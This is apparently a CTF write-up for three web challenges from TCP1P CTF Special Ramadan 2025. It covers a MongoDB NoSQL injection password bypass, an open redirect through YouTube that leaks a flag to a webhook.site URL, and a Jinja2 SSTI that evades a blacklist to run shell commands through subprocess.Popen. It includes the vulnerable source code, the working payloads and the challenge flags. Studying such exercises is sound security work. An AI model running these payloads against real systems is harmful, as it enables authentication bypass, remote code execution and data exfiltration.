🍞
mirai
  • Hi!
  • CTF
    • TCP1P CTF Special Ramadan 2025
      • Web Exploitation
      • Forensics
      • Cryptography
      • Binary Exploitation
      • Reverse Engineering
      • Blockchain
      • OSINT
      • Miscellaneous
    • Cyber Jawara International 2024
      • Intro to ETH
Powered by GitBook
On this page
  • Ingfokan Lokasi Takjil
  • Description
  • Initial Analysis
  • Source Code Analysis
  • Exploitation
  • Redirection
  • Description
  • Initial Analysis
  • Source Code Analysis
  • Exploitation
  • TobTobiTobTobTobiTobTobTobiTobTobTobali
  • Description
  • Initial Analysis
  • Source Code Analysis
  • Exploitation
  1. CTF
  2. TCP1P CTF Special Ramadan 2025

Web Exploitation

PreviousTCP1P CTF Special Ramadan 2025NextForensics

Last updated 2 months ago

Name
Solves

52

Redirection

28

TobTobiTobTobTobiTobTobTobiTobTobTobali

24

Ingfokan Lokasi Takjil

Description

Author: Max The Computer Fox

Max dan teman teman nya sedang berencana untuk mencari takjil sebanyak mungkin untuk entar dimakan bersama saat buka nanti, tetapi mereka harus cepat sebelum takjil takjil yang di jual habis. Merekapun membuat platform untuk membagikan lokasi lokasi takjil yang dapat mereka kunjungi secara privat, apakah anda dapat menemukan vulnerabilitas di platform mereka untuk mencari lokasi takjil favorit Max?

Connect:

Initial Analysis

We are given a website:

Source Code Analysis

We are given a source code file, the directory tree is like this:

┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/Ingfokan Lokasi Takjil]
└──╼ $tree .
.
├── app.py
├── docker-compose.yml
├── Dockerfile
├── flag.txt
├── requirements.txt
├── setup.py
├── static
│   ├── favicon.ico
│   ├── max.gif
│   ├── max_letsgocaritakjil.png
│   └── static.css
└── templates
    ├── error.html
    ├── index.html
    ├── lokasi.html
    └── password.html

3 directories, 14 files

We can conclude that this is a python web app. We take a look at app.py

app.py
from flask import Flask, render_template, redirect, url_for, request
from pymongo import MongoClient
from bson.objectid import ObjectId
import json
import os

client = MongoClient(os.environ.get('MONGODB_URI'))
# client = MongoClient("mongodb://localhost:27017")
db = client['database']
post_collection = db["posts"]
config = db["config"]
# check if the program has already been setup
is_installed = config.find_one({"installed": True})
if is_installed is None:
    # if not, run setup.py
    os.system("python setup.py")

app = Flask(__name__)

@app.route('/')
def main():
    # grab all posts and only show their id, title, and author
    posts = db["posts"].find({})
    posts_data = list()
    for post in posts:
        posts_data.append([str(post['_id']), post["title"], post["author"]])
    print(posts_data)
    return render_template("index.html", postdata=posts_data)


@app.route('/post/<id>', methods=['GET', 'POST'])
def post(id):

    post = db["posts"].find_one({"_id": ObjectId(id)})
    page = render_template(
        "lokasi.html",
        title=post["title"],
        author=post["author"],
        note=post["note"],
        location=post["location"]
    )

    if request.method == "POST":
        password = request.form['password']

        # ini tadi buat apa yah? -Max
        if password.startswith("{") and password.endswith("}"):
            password = json.loads(password)
        
        posts = db["posts"].find_one({
            "_id": ObjectId(id),
            "password": password
        })
        if posts:
            return page
        else:
            return render_template("password.html", message="Incorrect password")
    
    if post["password"]: return render_template("password.html")

    return page

# favicon
@app.route('/favicon.ico')
def favicon():
    return redirect(url_for('static', filename='favicon.ico'))

    
# make a default for unknown pages 404
@app.errorhandler(404)
def page_not_found(e):
    return render_template("error.html", errorcode=404, errormessage="Page not found")


# make a default for 500 internal server error
@app.errorhandler(500)
def internal_server_error(e):
    return render_template("error.html", errorcode=a500, errormessage="Internal server error")


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

There's an interesting piece of code here:

# ini tadi buat apa yah? -Max
if password.startswith("{") and password.endswith("}"):
    password = json.loads(password)

It basically checks if the password in a JSON format, it will serialize it into a JSON object. Then it will pass it into this code:

posts = db["posts"].find_one({
            "_id": ObjectId(id),
            "password": password
        })

Exploitation

Since the app used MongoDB as its database, this piece of code is vulnerable to NoSQL Injection.

Basically we can use a JSON object to inject the MongoDB query to this:

posts = db["posts"].find_one({
            "_id": ObjectId(id),
            "password": {"$ne": "bukanrilpassword"}
        })

This will make the MongoDB queried password ≠ "bukanrilpassword". Since the password is obviously not "bukanrilpassword". This query injection passes the checks, returns true, and we get the flag.

Thus, the payload is:

{"$ne": "bukanrilpassword"}

We put this into the password field and we got the flag!

Flag: RAMADAN{T4kj1lnya_K3mana_Ab4ngkuh}

Redirection

Description

Author: dimas

Can you do open redirection on youtube?

Initial Analysis

We are given a website:

Nothing interesting.

Source Code Analysis

We are given a single source code:

app.py
from flask import Flask, request
import requests
import re
import os

app = Flask(__name__)

FLAG = os.environ.get("FLAG", "fake{flag}")

@app.get("/")
def home():
    url = request.args.get("url", False)
    if not url:
        return "Url not found"
    if not re.match(r"^https://youtube.com/.*$", url):
        return "url isn't youtube url"
    response = requests.get(url+"?"+FLAG)
    return response.text


if __name__ == "__main__":
    app.run("0.0.0.0", 8080, debug=False)

This code basically will redirect, only if the URL supplied, passes this regex:

r"^https://youtube.com/.*$"

And to get the flag, we need to control where it redirects to get the FLAG parameter. Thus we need an Open Redirect Vulnerability on YouTube.

Exploitation

After looking for a while, there's apparently an Open Redirect vulnerability on YouTube. Based on this writeup:

So i used the first payload, adjusted it to my webhook, and it apparently worked😂.

http://playground.tcp1p.team:16787/?url=https://youtube.com/logout?continue=http%3A%2F%2Fgoogleads%2Eg%2Edoubleclick%2Enet%2Fpcs%2Fclick%3Fadurl%3Dhttps%3A%2F%2Fwebhook%2Esite%2F6ba4fbc6%2D1aed%2D4251%2D8cb2%2D2639d53ffa2b%3FFLAG

Flag: RAMADAN{open_redirection_on_youtube_is_really_handy}

TobTobiTobTobTobiTobTobTobiTobTobTobali

Description

Author: DJumanto

Cat Tobitob decided to make a gift card page, so you can say "Happy ramadhan", to your relatives :D

Initial Analysis

We are given a website:

And if we input something, our input gets reflected.

Source Code Analysis

We are given a source code, the directory tree looks like this:

┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/TobTobiTobTobTobiTobTobTobiTobTobTobali]
└──╼ $tree .
.
├── app.py
├── docker-compose.yml
├── Dockerfile
├── flag.txt
├── requirements.txt
├── static
│   └── cat.jpg
└── templates
    └── index.htmlap

3 directories, 8 files

Looking at the app.py file:

app.py
from flask import Flask, request, render_template_string, send_from_directory

app = Flask(__name__, static_folder='static')

blacklists =['os', 'sys', 'import','subprocess', 'shutil', 'tempfile', 'pickle', 'marshal',
            'write', 'eval', 'exec', 'system', 'popen', 'open',
            'call', 'check_output', 'check_call', 'startfile', 'remove', 'unlink',
            'rmdir', 'remove', 'rename', 'replace', 'chdir', 'chmod', 'chown',
            'chroot', 'link', 'lchown', 'listdir', 'lstat', 'mkdir', 'makedirs',
            'mkfifo', 'mknod', 'open', 'openpty', 'remove', 'removedirs',
            'rename', 'renames', 'rmdir', 'stat', 'symlink', 'unlink', 'walk', 'write',
            'popen', 'builtins', 'global'] 
@app.route('/static/<path:filename>')
def static_file(filename):
    return send_from_directory(app.static_folder, filename)

@app.route('/')
def index():
    return render_template_string(open('templates/index.html').read())

@app.route('/card', methods=['POST'])
def card():
    name = request.form.get('name', 'tobi')
    lname = name.lower()
    if any(word in lname for word in blacklists):
        return "TobiTob don't like that"
    style='''
<style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            height: 100vh;
            background-image: url(https://static.vecteezy.com/system/resources/previews/007/197/608/non_2x/islamic-eid-mubarak-background-with-gold-lanterns-free-vector.jpg);
            background-size: cover;
            background-position: center;
        }
        .container {
            background-color: rgba(255, 255, 255, 0.8);
            padding: 20px;
            border-radius: 10px;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            text-align: center;
        }
        img {
            width: 200px;
            height: auto;
            border-radius: 10px;
            margin-top: 10px;
        }
    </style>
'''
    template = '''
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>TobTobiTobTobTobiTobTobTobiTobTobTobali</title>
    {}
</head>
<body>
    <div class="container">
        <h1>Hello {}</h1>
        <img src="/static/cat.jpg" alt="cat">
        <p>Hope you have a good Ramadhan</p>
    </div>
</body>
</html>
'''.format(style,name)
    return render_template_string(template)
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=False)

We can see there's a vulnerability at this line:

def index():
    return render_template_string(open('templates/index.html').read())

The render_template_stringfunction is vulnerable to SSTI (Server Side Template Injection). And since we can control what is passed to the template here:

<div class="container">
    <h1>Hello {}</h1> <-- Controlled by user input
    <img src="/static/cat.jpg" alt="cat">
    <p>Hope you have a good Ramadhan</p>
</div>

We can just use the template syntax to get RCE.

To confirm our theory, we can inject simple payload like {{ 7 * 7 }} and see if it returns 49.

Exploitation

There are several functions that we cannot use, defined by this array:

blacklists =['os', 'sys', 'import','subprocess', 'shutil', 'tempfile', 'pickle', 'marshal',
            'write', 'eval', 'exec', 'system', 'popen', 'open',
            'call', 'check_output', 'check_call', 'startfile', 'remove', 'unlink',
            'rmdir', 'remove', 'rename', 'replace', 'chdir', 'chmod', 'chown',
            'chroot', 'link', 'lchown', 'listdir', 'lstat', 'mkdir', 'makedirs',
            'mkfifo', 'mknod', 'open', 'openpty', 'remove', 'removedirs',
            'rename', 'renames', 'rmdir', 'stat', 'symlink', 'unlink', 'walk', 'write',
            'popen', 'builtins', 'global']

We can use one of the payloads from HackTricks and adjust them:

We can see the provided <class 'object'> by using this payload:

{{ ''.__class__.__mro__[1].__subclasses__() }}

Since our flag name is randomized, we need a class where we can do code execution to execute lsand cat . There is <class 'subprocess.Popen'> class to do just that at index 370.

In the end i used this payload:

{{ (''.__class__.__mro__[1].__subclasses__()[370])('ls /', shell=True, stdout=-1).communicate() }}

And since we know the flag file name, we can read it with this payload:

{{ (''.__class__.__mro__[1].__subclasses__()[370])('cat /bb53fee07051cb63.txt', shell=True, stdout=-1).communicate() }}

Flag: RAMADAN{"Setor_Hafalan_Dulu_Gak_Sih_TobTobiTobTobTobiTobTobTobiTobTobTobaliXD"}

Ingfokan Lokasi Takjil

There's one post, that is password protected at

Connect:

Connect:

http://playground.tcp1p.team:11451/post/67d832eb9b9bf9605608a3ab
http://playground.tcp1p.team:16787
http://playground.tcp1p.team:8888
🥇
http://playground.tcp1p.team:11451
Read more here
NoSQL injection | Web Security AcademyWebSecAcademy
Open redirection (reflected)
corCTF 2023 & Sekai CTF 2023 WriteupHuli's blog
Server-side template injection | Web Security AcademyWebSecAcademy
Jinja2 SSTI - HackTricks
Logo
Logo
Logo
Logo
Logo